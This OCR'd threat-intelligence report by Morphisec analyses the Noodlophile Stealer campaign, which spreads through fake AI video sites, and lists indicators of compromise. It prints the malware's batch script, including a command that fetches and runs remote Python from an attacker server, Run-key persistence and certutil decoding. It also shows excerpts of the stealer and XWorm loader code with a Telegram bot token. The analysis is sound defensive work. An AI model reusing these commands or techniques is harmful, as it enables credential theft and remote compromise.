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New Noodlophile Stealer
Distributes Via Fake Al Video
Generation Platforms

Author: Shmuel Uzan

As artificial intelligence (Al) surges into mainstream adoption, millions of users
turn daily to Al-powered tools for content creation—from generating art and music
to transforming photos into videos. But amid this excitement, cybercriminals have
uncovered a potent new lure: fake Al platforms promising cutting-edge content
generation in exchange for user uploads.
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Introduction

In an unprecedented shift, attackers are weaponizing public enthusiasm for Al to deliver
malware. Instead of relying on traditional phishing or cracked software sites, they build
convincing Al-themed platforms—often advertised via legitimate-looking Facebook groups
and viral social media campaigns. These groups, boasting over 62,000 views on a single
post, attract users eager for free Al tools for video and image editing.

But behind the promise of instant Al-generated videos lies something much darker:
malware disguised as Al output, delivered after users upload their own images
for processing.

Expecting to receive a custom video based on their input, victims instead download a
malicious payload—-bundled with a newly identified infostealer, dubbed Noodlophile
Stealer, designed to harvest browser credentials, cryptocurrency wallets, and sensitive
data. In many cases, it also deploys a remote access trojan like XWorm to establish
deeper control over the infected system.

CONVERT IMAGE TO VIDEO WITH Al
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Why This Campaign Stands Out

What makes this campaign unique is its exploitation of Al as a social engineering lure—
turning an emerging legitimate trend into an infection vector. Unlike older malware

campaigns disguised as pirated software or game cheats, this operation targets a newer,

more trusting audience: creators and small businesses exploring Al for productivity.

Noodlophile Stealer represents a new addition to the malware ecosystem.
Previously undocumented in public malware trackers or reports, this stealer
combines browser credential theft, wallet exfiltration, and optional remote
access deployment.
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The Lure: Fake Al Platforms Amplified by Facebook

A simple search through social media platforms often leads to additional large-scale groups, creating
a network that amplifies the reach and visibility of these fake tools. One such page is shown here:

@ = @

Luma Dreammachine Al
Marketing Agency - 3.8K followers - 6 posts in the last 2 weeks

Follow
&7 LumaDream Al - A cutting-edge Al model that brings text and images to life
creating stunning, immersiv deos. Generate vating video content up to 3
Luma Dreammachine &
Software - 1.9K followers Follow
&7 LumaDream Al - A cutti ge Al medel that brings text and images to life,
creating stunning, immersive videos. Generate captivating video content up to 3...
gratistuslibros
Software - 615 followers Follow

&7 LumaDream Al — A personality-driven Al model that transforms text and images
into vivid, captivating videos. Creates stunning \

o content up to 3 minutes long..

See all

Luma Dreammachine o

Posts About Mentions Reels Photos Videos
Intro Posts 23 Filters
£7 LumaDream Al - A cutting-edge Al model that brings text and
images to life, crez nning, immersive videos. Generate .
images to life, creating stunning, immersive videos. Generate i uma Drsammachin 8
captivating video content up to 3 minutes long with ultra-realistic March 31t M-
visuals.
Try it now: luma-aidreammachine.com ¥ Luma Dream Al - Turn Any Idea into Stunning Videos! i

Are you a content creator, advertiser, or busine
_ spending hours editing? Luma Dream Al is here to help!
© rage - software {3 Instant video creation from text, images, or your ideas
£ Smart Al assistance for scriptwriting, voiceovers, and unique effects
{8 Easy customization to match your style, perfect for any platform
¥ No editing skills needed - just bring your ideas, and Luma Dream Al will do the rest!
Try it today and unleash your creativity! ¢

— ki _ r
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Within these groups, users are encouraged to click on links that redirect them to fraudulent
websites falsely claiming to offer Al-powered content creation services.

owner looking for professional videos without
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What do you want to create?

[ T (]

Al Video Al Website Al Logo
Generator Builder Maker

2 [ )

Al Mockup Al Image to Al Image
Maker Video Maker Maker
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Another example of a fake website:

=% CapCut Products v Altools v @80  Allmage Generator @8  Solutions v Resources v E-

Try Our Free All-in-One Video Editor with
New Al Features — Free for 30 Days!

Flexible editing, magical Al tools, team collaboration, and stock assets. Make video creation like never before.

Download Capcut Al

Try Al generator

Dreamina: Al generator

How users are baited

Once on the fake site, users are prompted to upload their images or videos, under the impression
that they are using real Al to generate or edit content.

Dream

MACHINE

Dream

MACHINE

J

Success! Your file is ready. Download now to discover amazing results in
seconds. Don't miss out!

@ MORPHISEC © Morphisec Inc. morphisec.com


https://www.morphisec.com/

At the final stage, users are instructed to download their “processed” content. In reality, they
unknowingly download a malicious file. This file installs malware — such as Noodlophile or
Noodlophile bundled with XWorm — onto their systems, enabling attackers to steal data, harvest
credentials, and potentially gain remote access to infected devices.

B P Rpeadx

[

Dream

MACHINE

Your File is Ready to Download!

At the final stage of the attack, it was discovered that the Noodlophile Stealer communicates
with the attackers through a Telegram bot, which acts as a covert channel for exfiltrating
stolen information.

{

"messageld”: 472,

“"fromChatId": "-1002565449208",

"timestamp”: "2025-04-30T09:03:39.0007",

"content”: "Hello from Noodlophile Stealer”,

"fileId": null,

“"token": "7038014142:AAHF3pvRRgAVY5vP4SUGB2YES4BH1LEhtNO"
¥
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Following the Trail: OSINT Insights into
Noodlophile’s Developer

Investigation of the term “Noodlophile” across cybercrime marketplaces uncovered groups
offering it as part of malware-as-a-service (MaaS) schemes. Tools like Noodlophile are advertised
alongside access services labeled “Get Cookie + Pass,” designed for account takeover and
credential theft. The developer behind Noodlophile, likely of Viethamese origin based on language
indicators and social media profiles, was observed responding to Facebook posts promoting

this new method.

Tap Hoa Botnet

© Public group - 1.8K members

About Discussion People Events Media Files

‘" Anonymous participant
@87 April 24 at 10:19AM - @

can mua method get cookie + pass mgi tha
tele

See Translation
dY Like </ Send A Share
Commenting has been turned off for this post.

NoodlophileVN
noodlophile

6d Like Share
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NoodlophileVN
noodlophile

w

Other Posts

Tap Héa Botnet
Anonymous participant - 21h - &

Mot cong cu k&t hap vdi RAT khé tha di

Chtfc nang: Check hisory cua all trinh duyét theo domain, Check vi coin trén toan b may tinh.
Céch hoat dong: Sau khi chay phan mém nay tir RAT, no sé tu dong thu thap théng tin tir tat ca cac
vi dién tr, check lich stf toan b trinh duyét tif 30 ngay gan nhat, thu thap dia chi vi luu & & dia may
tinh. Sau dé gui [én Telegram

Phan mé&m nay pan hoac tang khi ae setup RAT

@hecker3508
Country Group  HW ‘ ) s

5606  United States Defaut 5BA
6606 United States Default 5551
5606  United States Defaut 97D  yumpe § sumnpnes .

[y m——— { = O X
L = A pretty cool tool combined with F # +
3606  United States Defaut 8111 o |

- , File  Edit  View D & @
506 United States Defaut DBE |

! A pretty cool tool combined with RAT

506 United States Defauk 1131 Function: Check history of all browsers by domain, Check coin wallets on the

© canps s | entire computer.

e How it works: After running this software from RAT, it will automatically

16606 United States Defaut 4E5 collect information from all e-wallets, check the history of all browsers from
— the last 3@ days, collect wallet addresses saved on the computer drive. Then

send it to Telegran

3606  United States Defautt C1A
[MA _41.249.49.98] DESKTOP-|
3606  United States Defaut E75| ..
Machine: DESKTORJITSLIV
- ) - Country: MA - Morocco
6606 United States Default  FSFI|| userbhi n3 Col250 380 ct 100% UTF-8
Matches: (354)

Wallet: Authenticator Metamask2 Metamaska m
306 Ukraine Defaut 971! __ i

[GB_86.173.148.18] LastorePC.zip

116606  Turkey Default 52F

P:
Machine: LastorePC

Links in these groups lead to the developer’s profile, whose BIO reveals further involvement in
malware sales and distribution.

User Info

Luci Coder #

1uci285 / README

Hi ‘, I'm Noodlophile Sell Cyber Security Tools

A passionate Malware Developer from Vietnam
* ™ I'm currently working on Malware Development
* ¥ I'm currently learning Reverse Engineering and Malware Analysis

Connect with me: Feb 27, 1875 (150 years old)

P H ADD TO CONTACTS
Noodlophlle Languages and Tools:

€ c (- 0 Notifications

SEND ME
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Attack Chain

Website of Al

’. Download File

!
%

ZIP
VideoDreamAl.zip

|
3. Execute Video Dream MachineAl.mp4 .exe

Video Dream l

5.0.01886

Attributes:
hidden&&
system

folk /
EXE

}. Execute CapCut.exe

DOC

Document.docx

i

©. Rename install.bat

7

o
EXE

CapCut.exe
|
/. Rename to images.exe

l 8. Run install.bat

fot
DLL
AlCoredll

O. Load dll

Video Dream MachineAl.mp4 .exe images.exe x =pTONGDUCKIEM

l

5.0.01886
Software
N

EXE
CapCut.exe

o
DLL
AlCore.dll

Software

DOC

Document.docx

= META
PDF
Document.pdf

% MORPHISEC

After interacting with the fake site—uploading files and selecting options— the user is presented
with a final download link, supposedly containing the generated video. Instead of receiving the

9. certutil =decode
Document.pdf
pplugewlq.rar

v

PDF

Document.pdf

%LOCALAPPDATA%\SoftwareHost\

N\

pplugewlq

PYTHON
srchost.exe

DEVELOPER2025 =inul =y pplugewlq.
rar‘%LOCALAPPDATA%\SoftwareHost”

srchost.exe =c “importrequests;exec
(requests.get(https;//85.209.87.207/
sysdi/randomuser2025.txt;verify=False).text)”

!

NodeStealer

XWORM

expected media file, the user downloads a ZIP archive named VideoDreamAl.zip.

_
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Inside the archive resides a deceptive executable titled:
Video Dream MachineAI.mp4. exe

This filename is crafted to masquerade as a harmless video file by exploiting whitespace and
misleading extensions.

Upon execution, this binary initiates the malware installation chain. Alongside the executable,
the archive also contains a hidden folder named 5.0.0.1886 (marked with system and hidden
attributes), which includes key components:

« CapCut.exe - A large (~140MB) C++-based binary embedding a .NET runtime wrapper
that loads malicious .NET code in-memory for evasion purpose.

+ AlCore.dll - A helper DLL containing an export function (cmdhelper) used for the
execution of external commands.

« Software subfolder:

o Document.pdf - A Base64-encoded and password protected RAR archive disguised
as a PDF, containing cPython-based components.

o Document.docx - A batch file disguised as a Word document, encoded with FF FE
markers to obstruct analysis in text editors. Once renamed, it launches the core
infection routine.

o meta - a Win-RAR utility, later renamed as images.exe.

The infection proceeds as follows:

1. CapCut.exe launches and uses embedded .NET logic to invoke CapCutLoader, a
.NET loader.

2. CapCutlLoader verifies internet connectivity (by pinging google.com up to 10 times) and
renames all the disguised files.

3.lttheninvokes install.bat, which:
a. Decodes Document.pdf back into a . rar archive via certutil.exe (a known LOLBIn).
b. Extracts it using images.exe with a hardcoded password.
c. Registers a persistence script via the Windows Registry (Run key).

d. Executes a Python payload (srchost.exe) downloaded from a remote server.

?}J MORPHISEC © Morphisec Inc. morphisec.com
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The final stage of the chain involves Python-based components:
+ A Noodlophile payload that steals browser credentials, cookies, and tokens.
« Arunner loader that loads Worm 5.2 with two propagation mechanisms:
o Shellcode loader (local) - injects shellcode directly in-memory.
o PE hollowing - injects the payload into a legitimate Windows binary, RegAsm.exe.

This layered structure, obfuscation, and multi-stage delivery make the malware difficult to detect
and analyze, while increasing its persistence and lateral movement capabilities.

Video Dream MachineAl.mp4. exe

The file Video Dream MachineAI.mp4.exe is a 32-bit C++ application signed using a
certificate created via Winauth. Despite its misleading name (suggesting an .mp4 video), this
binary is actually a repurposed version of CapCut, a legitimate video editing tool (version 445.0).
This deceptive naming and certificate help it evade user suspicion and some security solutions.

The main objective of this binary is to locate and execute a secondary file, CapCut.exe, from a
folder within its current directory. This folder follows a naming pattern similar to a version format:
%d.%d.%d.%d (e.g., 5.0.0.1886). While the name gives the illusion of being a version number, it is
actually static in this campaign and is hidden using system attributes. This structure ensures
that only the intended malware component is executed and helps avoid accidental execution

of similarly named files outside the attack scope.

In addition to the main function of executing CapCut.exe, the executable contains additional
capabilities that could be leveraged by the attacker in future campaigns or other contexts but
were not utilized in this specific campaign (such as self-destruction, auto-update functionality,
load from config or registry, etc...).

—
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| IsPathFileExist
i sub_7CC373
-(wcsicmp(&

I
L

sub_7A67EG(&lp’ nandLine,
sub_7A72AC(&lpCommandL

&StartupInfo, &Pr

ssInformation.hThread )

(ProcessInformation.hThread);
nation.hThread = @;

sub_7A7CF5(v3 - 4);
return v4;

CapCut.exe

The file CapCut.exe serves as a native C++ wrapper designed to execute a malicious .NET payload
embedded within it. Rather than delivering a standalone .NET binary, the attacker compiled the
.NET components directly into the C++ application and uses the .NET runtime hosting API to
dynamically load and run the malicious code — a technique that complicates detection and
reverse engineering.

The executable is abnormally large at 140 MB, helping it evade static scanners by resembling
legitimate software. It contains around 275 embedded PE files, mostly .NET assemblies,
highlighting a modular, obfuscated structure designed to hinder analysis.

.Z MORPHISEC © Morphisec Inc. morphisec.com 13
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Upon execution, CapCut.exe launches the internal .NET component, known as CapCutLoader.

This loader first executes DownloadString function which validates connectivity by pinging
google.comup to 10 times. If connectivity is not established, execution is halted. To make sure
the payload can be downloaded later, CapCutLoader imports a helper function named wgom
from the AICore.d11 library. This function is used to execute command-line instructions.

Before invoking it, the loader performs simple filename changes:

« ltrenames Document.docxtoinstall.bat

« Itrenames meta to image.exe

Then, using the wgom function, it executes the install.bat file to trigger the next stage of
the attack.

t sender,
lient webClient = ne
< 10; i++)

webClient.DownloadString("https

: text

text2
ing text3
text4
text3 = text3.Rep
File. =(text4, text3);
5 : texts =
text5S = text5.R
File. (text, texts5);
Forml. (texts);

?}J MORPHISEC © Morphisec Inc. morphisec.com
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AlCoredll

The file AICore.d11 is a relatively simple dynamic-link library (DLL) whose primary role is to act
as a command execution helper. Its main purpose in this campaign is to support the execution of
system commands triggered by other components, such as CapCutLoader.

Although the DLL exports a large number of functions, most of them are empty or unused - likely
to confuse analysts or mimic a legitimate module. The only actively used export in this context is
named cmdhelper, which facilitates the execution of commands such as launching install.bat.

This minimal design helps keep the functionality focused while making the DLL appear more
complex than it actually is.

g IDA View-A x| =] Pseudocode-B i Pseudocode-A Hex View-1
BOOL _ fastcall WgOM(LPSTR lpCommandLine)
r
L

, &lpStartupInfo, &Pr

.Z MORPHISEC © Morphisec Inc. morphisec.com 15
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Document.docx

Although it appears to be a standard Word document, Document.docx is actually a disguised

batch script (.bat file) encoded with the FF FE BOM marker, which hinders readability in

common text editors. This obfuscation technique allows the attacker to mask the true

functionality of the file. Once renamed to install.bat, the script orchestrates a crucial stage

in the infection process. Its main objectives include downloading a second-stage payload, extracting
a password-protected archive, establishing persistence, and removing evidence of its activity.

Below is a breakdown of the script’s behavior:

« Environment Setup: Clears the console (cls), navigates to its execution directory, and creates
a working folder at $LOCALAPPDATA%\SoftwareHost.

+ Payload Definition: Sets a variable LD containing Python code designed to fetch and execute a
remote script from https://85.209.87[.1207/sysdi/randomuser2025.txt.

+ Obfuscated PowerShell Call: Launches a hidden PowerShell process using bypass flags.

- Base64 Decoding: Uses the Windows LOLBin certutil to decode Document.pdf
(a Base64-encoded RAR file) into ppIugewlq.rar.

+ Archive Extraction: Extracts the archive using images.exe (a command-line RAR utility) with
the password TONGDUCKIEMDEVELOPER2025 into the local folder.

+ Persistence Setup: Creates a new batch script (Explorer.bat) that ensures persistence
by registering it under the Run registry key.

- Final Payload Execution: Launches srchost.exe with the %LD% Python payload, leading
to the deployment of the final stage malware: Noodlophile or Noodlophile + XWorm.

+ Cleanup: Deletes temporary files such as the extracted archive and the batch script to
reduce forensic traces.

= Document docx E3 | gl

&cls
@echo off

cd /d "%~dpO"

set "LD=import reguests;exec(requests.get('https://85.2059.87.207/sysdi/randomuser2025.txt"', verify=False) .text)"
mkdir "$LOCALAPPDATA%\SoftwarcHost"

powershell -ep b"yp"ass -w hid"de"n -c "exit"

certutil -decode Document.pdf pplugewlg.rar

11 images.exe x -pTONGDUCKIEMDEVELOPER2025 -inul -y ppIugewlg.rar "$LOCALAPPDATA%\SoftwarcHost"

12 echo start "" /min "$LOCALAPPDATA%\SoftwareHost\srchost.exe"™ —c "$LD%" > "C:\Users\Public\Explorer.bat"
reg add "HRCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security" /t REG_Sz /d
"C:\Windows\Explorer.EXE C:\Users\Public\Explorer.bat" /f

14 start "" /min "$LOCALAPPDATA%\SoftwarcHost\srchost.exe" -c "%LD%"

15 del /S /Q ppIugewlqg.rar

6 (goto) 2>nul & del "%~f0"4

MORPHISEC © Morphisec Inc. morphisec.com 16
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Document.pdf

This file is used by the attacker as part of an evasion technique leveraging the Windows

LOLBin certutil. Despite its benign name, it is not a real PDF document, but rather a Base64-
encoded RAR archive containing the cpython directory required for payload execution.

The archive is password-protected (with the password: TONGDUCKIEMDEVELOPER2025) to
further hinder static analysis and avoid detection. During runtime, certutil -decode is used to
decode the file into its original binary form, enabling the attacker to reconstruct the environment
needed to run the final stage of the malware without raising suspicion.

2 UmFyIRoOHAQDenk1NIQQARAREPMpWRNW+7FMTMZveAgRgF4sg9mQOvcDZDnNE7sdECVzZ
< KGuGUzhneiZuD+Wn+H+nCRNPjpTp7sGVgdVrXnrxTUzfthDnSGOQSvCwDWp 9ANWPEF
= Hch/tnREyP/GABsSQ+yvnIF6gZg22G0ggén8RSxZDDma3/1BTg0kXYJkJZ2/hDgné7
< Jz2rciyvlrSToOWVrrMaeGreSnx91lc4LYJWrGVHapet81S5J0utmsYXkYgGBLI jmAL
& /UjuKgB8gsoF61lTMFLyiPxegZO0BlAQVvAKSf4MbO/HKL/sxvIxrBovFSS8Ql/V7X51+n
7 EzyXtoWg3WgNTGLNCpDiue3k5SA46rl/wYKydoibC2wPcWZc5vrveAFKELAZYTwQ
8 A+WYMVSrZj+rPcbkb3xM/h6VWROTMRHkKkLhsYoOFFxeXD5c4t7ahFMW1grDEgwZPurw
9 O09CT2fulazrn9ZzlUE7FQl12GIIQGnBcg8YE3GBxglzEyRtJuuMfrfilFRyc91lyJdz
10 zDDmg2leXmu4IST99yvHcAoXP/mmwpKMWMblsvE6écdh71NSHv08331THecSPp2Li7
11 Jy+nnp3yZHRJI9g/E7gPPplCaQHkawrgvhXcB070GIKQed7icQrJ4SLOQFaWkZipaAR
12 zK+fJpwh85iald4ruoJRCS5kyRec/TUjrUaaiadaY¥4ifi7TnICd7ThILmMIMnrnCeVAOH
1= z3DgIwnlE6fSNiewnBYGYgX3aJRgtUOMZmHYDDsdFrBfUIL i 9mO9760OW71h7+gBdT
14 uRfRF8ddcEaRIAWSF4yPiMSrqgd/ePUp/IxrIbT4J6wMmiGMrefwdUWNglCTpw3Y1i1lP
3 nIbJ/eZSbIThdMYSDIWXCKskld3QGcC2TE8T7+nKEfUfaQkmUINX+xxUSKytBmQD1€Eb
16 /Wd5s0SVgKQk937/LMwaz2lfYSuhclAJoL+AclA+0nhZ1IPmQF201pp30TOcudMia
17 DbVTO0Q6VHX+G4JergzY1VH8IWBZFioztSz+nlx9594U6kxRz+Kim9%e3d17EWpbgvt
18 CclGE6PRIpHILADROZEGYuiROrgJdY¥Sr8rAMGggSdoQQgLsSv4a+HpKo9boMkF/51xG1
19 hikbhIHTBy/nOm9Mx3Ft7zCgcS5v5aixnd4YiyBuoSEyP8t+PTEK2RgrSqnuuYCJdul
20 bRZBacDL/mNUTu+gAkcuSahfzvUEPYRYrS1IWIUFkP/pCou2KxcvXRumctD13V0UzZ

.Z MORPHISEC © Morphisec Inc. morphisec.com 17
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Meta

The meta file, later renamed to image.exe, is actually a Win-RAR utility bundled by the attacker.
Its purpose is to silently extract the password-protected archive (ppIugewlqg. rar) containing the
cpython environment.

Randomuser2025.txt

The randomuser2025 file is a Python script that has been obfuscated using a common
memory-based execution trick. At its core, the script contains two meaningful lines of code, designed
to dynamically decode and load the Noodlophile & XWorm payloads entirely in memory:

[=d randomuser2025 txt Bl
exec(__import__ ('marshal’).loads(__ import_ ('zlib').decompress(__ import__ ('base64') .b85decode ("c%1lCp*RJIzeo+SRczfe_OT” (1ln
exec(_ import_ ('marshal').loads(__ import__ ('zlib').decompress(__ import__ ('base64') .b85decode ("c%1Cp* | PFjo+S$RczacX§D{JIVk
def sub X6YX77D7SSSHMEJ () :
4 var_ ETU21A2VNAHON = 4492249597
5 var_6P7OJTEAEHR = "VQ2D9AB3ZQONDMH"
o var_ZRI = 1776120340
var_ SBOT4NM = 6445613652
var_ DINR72SYPXS = 7674923201
var_PS4JLLR = "CCYMS70JUT2EX56NS"
1 var707ZVM§ = "N70SGNWRHUV"
11 var_38B83BFR = 8691874151
12 var_2R9EVD729 = 1742920950
13 var_D = 8310205373
14 var_lPJFUYJ3SL = 2598501134
15 VaZ_YNHTNG = "HO77IRXV3NEKFSNO4I"
var_UT = 4434691575
var_IV1ASUFM = "FJ1FRNUIPUC"
var S108FOWELBS = 7649414468

This layered approach uses base85 decoding, zlib decompression, and Python’s marshal module
to reconstruct the final payload, which is executed via exec(). This method allows the attacker to
deliver and run the malicious code without writing the unpacked payload to disk, helping evade
static analysis and detection.

To further complicate analysis, the attacker appended the top of the file with non-semantic bulk
obfuscation—specifically, around 10,000 repeated instances of 1/ int(0). These syntactically valid
but semantically meaningless operations are never executed due to the structure of the script,
but they serve to break automated tools, especially those that attempt disassembly or bytecode
analysis or AST parsers.

—
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84 LOAD_CONST e (1)
-124 22 JUMP_FORWARD 1 (to 25) 86 LOAD_NAME 8 (int)
24 <119> 0 88 LOAD_CONST 1 (0)
90 CALL_FUNCTION 1
-123 26 EXTENDED_ARG 234 92 BINARY_TRUE_DIVIDE
28 SETUP_FINALLY 60021 (to 60051) 94 LIST_APPEND 1
30 EXTENDED_ARG 234 96 LOAD_CONST e (1)
32 SETUP_FINALLY 60005 (to 60039) 98 LOAD_NAME 0 (int)
34 BUILD_LIST 0 100 LOAD_CONST 1 (0)
36 LOAD_CONST 0 (1) 102 CALL_FUNCTION 1
38 LOAD_NAME 0 (int) 104 BINARY_TRUE_DIVUIDE
40 LOAD_CONST 1 (0) 106 LIST_APPEND 1
42 CALL_FUNCTION 1 108 LOAD_CONST 0 (1)
44 BINARY_TRUE_DIVIDE 110 LOAD_NAME 0 (int)
46 LIST_APPEND 1 112 LOAD_CONST 1 (0)
48 LOAD_CONST e (1) 114 CALL_FUNCTION 1
50 LOAD_NAME o (int) 116 BINARY_TRUE_DIUIDE
52 LOAD_CONST 1 (0) 118 LIST_APPEND 1
54 CALL_FUNCTION 1 120 LOAD_CONST 0 (1)
56 BINARY_TRUE_DIVIDE 122 LOAD_NAME 0 (int)
58 LIST_APPEND 1 124 LOAD_CONST 1 (0)
60 LOAD_CONST 0 (1) 126 CALL_FUNCTION 1
62 LOAD_NAME 0 (int) 128 BINARY_TRUE_DIUIDE
64 LOAD_CONST 1 (0) 130 LIST_APPEND 1
66 CALL_FUNCTION 1 1 132 LOAD_CONST 0 (1)
68 BINARY_TRUE_DIVIDE 134 LOAD_NAME 0 (int)
70 LIST_APPEND 1 136 LOAD_CONST 1 (0)
72 LOAD_CONST o (1) 138 CALL_FUNCTION 1
74 LOAD_NAME 0 (int) 140 BINARY_TRUE_DIUIDE
76 LOAD_CONST 1(0) 142 LIST_APPEND 1
78 CALL_FUNCTION 1 144 LOAD_CONST 0 (1)
80 BINARY_TRUE_DIUIDE 146 LOAD_NAME 0 (int)
82 LIST APPEND 1 148 LOAD_CONST 1 (0)

Using a combination of custom-built tooling and advanced Al-based analysis methods developed
by our team, we successfully deobfuscated the Noodlophile & XWorm payloads and recovered the
original Python source code:

+ The first payload was a variant of Noodlophile, a credential-harvesting and information-
stealing malware.

140
17 TOKEN_BOT = "7038014142: AAHF3pVRREAVYS5VPASUGB2YESABH1LEhtNO™
18  CHAT_ID NEW = "-1002565449208"
19 CHAT_ID RESET = "-1002633555617"
20 LOCALAPPDATA = os,getenv(”LOCALADPDATA”. ")
21 APPDATA = os.getenv("APPDATA", "")
22 TMP = os.getenv("TEMP", "")
3 USR = TMP.split(r"\AppData")[@]
24  DATA PATH = £"{TMP}\\{os.getenv( ' COMPUTERNAME', 'defaultvalue')}"
25
26 BROWSERS = {
27 "Chrome” : Path(LOCALAPPDATA) / "Google/Chrome/User Data",
28 "Edge" : Path(LOCALAPPDATA) / "Microsoft/Edge/User Data",
29 "Brave" : Path(LOCALAPPDATA) / "BraveSoftware/Brave-Browser/User Data",
3 "Opera” : Path(APPDATA) / "Opera Software/Opera Stable",
31 “Chromium™ : Path(LOCALAPPDATA) / "Chromium/User Data",
3 "Thorium" : Path(LOCALAPPDATA) / "Thorium/User Data”,
33 "Discord Canary" : Path(APPDATA) / "discordcanary",
34 "Lightcord” : Path(APPDATA) / "Lightcord”,
35 ‘Discord PTB" : Path(APPDATA) / "discordptb”,
36}
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+ The second was a Python-based loader with worm 5.2 (X11Client) -like capabilities,
designed to propagate the infection.

Main X Settings

Conversions.ToString(AlgorithmAES.Decrypt(Settings.Hosts));
onversions. i thnaEs. Settings.Port));

Environment.Exit(@);

» ‘ (!Helper.CreateMutex())

a):
100 %
Watch 1
Name
@ Sett

—
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The XWorm loader featured two important capabilities that are executed selectively based on the
existing security stack:

239

240

242
243
244
245
246

248
249
250
251
252
253
254
255
256
257
258

260

261
262

A local shellcode loader function for direct execution of malicious donut code in memory.

A PE hollowing function that targets RegAsm.exe, allowing the malware to inject and
run within a legitimate system process to evade detection. This method is executed if
Avast is present.

# Main execution logic
base64_encrypted pe = 'Shyzx69FbE/b0Os2DR/qZCVdpSFQzU6SDAAT1271Gv+5rSx8Hy2UBo4tNkLuvezZXetKrNhkDfV7HVr/YtzKzn54xTiQikboogv
KEY = b'poseidon1338"
base64_encrypted_shc = 'Q4a0x6yFwl/fwipglS9pX2SkeKjuWDvAYqtisv59d8z1asoovhQdeUVNKLUVR2xyf3427kSwZvUa2eIbS+0]/nkRLWZXETIX
Ery:

payload_data_encrypted = base64.bé4decode(base64_encrypted_pe)

payload = rc4(KEY, payload data_encrypted)

with open("payload.bin”, "wb") as f:

f.write(payload)

except:

pass
exit()
time.sleep(20)

# Check running processes
result = subprocess.run(['tasklist'], stdout=subprocess.PIPE, text=True, creationflags=subprocess.CREATE_NO_WINDOW)
process_list = result.stdout

# Check for antivirus processes
if 'AvastUI.exe' in process_list or ‘wsc_proxy.exe' not in process_list:
run_pe(base64 _encrypted pe, KEY)
sys.exit() 1
else:
shc_loader(base64_encrypted shc, KEY) # base64 _encrypted shc not defined in provided bytecode

~
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How Morphisec Helps

Morphisec’s patented Automated Moving Target Defense (AMTD) technology proactively stops
infostealer attacks before they can take hold, neutralizing threats by reshaping the attack surface
and eliminating the static frameworks malware relies on.

By preventing attacks at the earliest infiltration stage — without relying on signatures or behavioral
analysis — Morphisec ensures that stealthy, sophisticated campaigns like Noodlophile never get
the chance to execute. Lightweight, frictionless, and built for modern environments, Morphisec
delivers preemptive protection that works where traditional detection fails.

..

See how Morphisec can stop infostealers and other
advanced threats before they impact your business —
schedule a demo today.

About Morphisec

Morphisec is the trusted global leader in prevention-first Anti-Ransomware protection, redefining cybersecurity with our industry-leading
Automated Moving Target Defense (AMTD) technology. Our solutions are trusted by over 7,000 organizations to protect more than 9 million
endpoints worldwide, stopping 100% of ransomware attacks at the endpoint and safeguarding businesses against the most advanced and
dangerous threats, including zero-day exploits and ransomware.

At Morphisec, we don't just fortify defenses — we proactively prevent attacks before they happen, delivering unmatched protection and peace
of mind to our customers. With our Ransomware-Free Guarantee and commitment to Preemptive Cyber Defense, we set the standard for
accountability and innovation in the fight against modern cybercrime.

As a rapidly growing company, we are dedicated to empowering security professionals and organizations to adapt, protect, and defend
against ever-evolving threats. Join us in shaping the future of cybersecurity with prevention-first strategies and unparalleled expertise.

To learn more, visit morphisec.com/demo


https://www.morphisec.com/
https://www.morphisec.com/automated-moving-target-defense/
https://www.morphisec.com/demo
https://www.morphisec.com/demo
https://www.morphisec.com/demo

Indicators of Compromise (IOCs)

C2:

http://lumalabs-dream[.Jcom/VideoLumaAl.zip
https://luma-dreammachine[.Jcom/LumaAl.zip
https://luma-dreammachinel.Jcom/File_Successful.zip
https://luma-aidreammachine[.Jcom/Creation_Luma.zip
https://85.209.87[.]1207/sysdi/LDXC10.txt
https://85.209.87[.]1207/sysdi/randomuser2025.txt
http://160.25.232[.]62/bee/bee02_ads.txt

149.154.167.220 -» Telegram APIs
103.232.54[.]13:25902 - C2 - XWORM 5.2

Tokens:
7882816556:AAEE0sBLhRZ80p2ZRmBF1RD7DkJIyfk47Ds - randomuser2025
7038014142:AAHF3pvRRgAVY5vP4SU6B2YES4BH1LEhtNo - bee02_ads

Chat ID:

-4583668048 - randomuser2025
-4685307641 - randomuser2025
-4788503251 - randomuser2025
-1002565449208 - bee02_ads
-1002633555617 - bee02_ads

Hashes:
5¢98553c45c9e86bf161c7b5060bd40ba5f4f11d5672ce36cd2f30e8c7016424 -
67779bf7a2fa8838793b312a886125e157f4659cda9f2a491d9ar7acb4defbfdf5 -
VideoDreamAl.zip

randomuser2025 - 11C873CEE1FD1D183351C9CDF233CFO9B29E28F5E71267C2CB1F373A
564C6A73

Meta - winrar- 18C14DCFB9A54C5359026A5FCBDB3E4BA6CED2628A9CD9AES89BAEDBB
29BEAAG6

Document.docx - C612A70E6A5C211D888F6032143ES8BA8SC70C15A5E1EBF17AB59146EB7FB707H1
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Pplugewlq.rar - cpython - 82C0D5C4C405739AEE74B792DCCD/7C821A9F06A-
OF6E389ADS57A321ADCC6/757A7

286076a09f524cc7015f23fb63515b3a30cee070fbc13fbb6f8e9chble5ced2c¢e - Successful_Project.
zip - Noodlophile + Worm

32174d8ab67ab0d9a8f82b58ccd13ff7bc44795ccal46e61278c60a362cd9el5 - LumaAl.zip
97927fdaaa8c55ac7c85ae6087a1ea637bb0e43148b3759740eaa75b64c459b2 - LXC.zip

353f17553a3457c6b77c4ca30505d9307dda9613e2a98ad3e392d2084284b739 -
Successful_Project.zip

6¢32460510925289421d1c7af986e00e9ada459f56a423d8b65d6cc57ed053c7 - Dream_File.zip

86d6dd979f6c318b42e01849a4a498a6aacaaaf3d9a97708f09e6d38ce875daa -
File_Generated.zip

8b0ee435928189c98969825e729a014e94b90e1da3af3cfeee1d02374c2bd906 - Dream_AlFile.zip
C006c6dddb9bfcdbf2790eeedbc77dd09cd63ab5b8e64190a55b9e5b66325d55 - Luma_Labs.zip
Dc3e9daf25c44eb5d3ad12aa668c6219e8e7031152e1d7d51ee0b889¢c37ba443 - Luma_Dream.zip

F9a8b13c56d1074beed40de97920beef2e39086591e961c2c45e25fdd16b4786 -
Dream_LumaFile.zip

Fa0c8f439db570b4206f7c8be497cfO1aaf28e41eaffdc70baef904b190387ef - Video_DreamAl.zip
C006c6dddb9bfcdbf2790eeedbc77dd09cd63ab5b8e64190a55b9e5b66325d55 - Luma_Labs.zip

934a68ac125cf995662bdd2d76a1d8dd3f107010ce77e21f003ebc581dc025d3 - daiin,_cbabpikaLy,_

CBbpP3aHO_BNAEO0.ZiP

1a70a211df697c522c6821e526d31bd47697dbe3fa9ddac5d95f921df4313f59
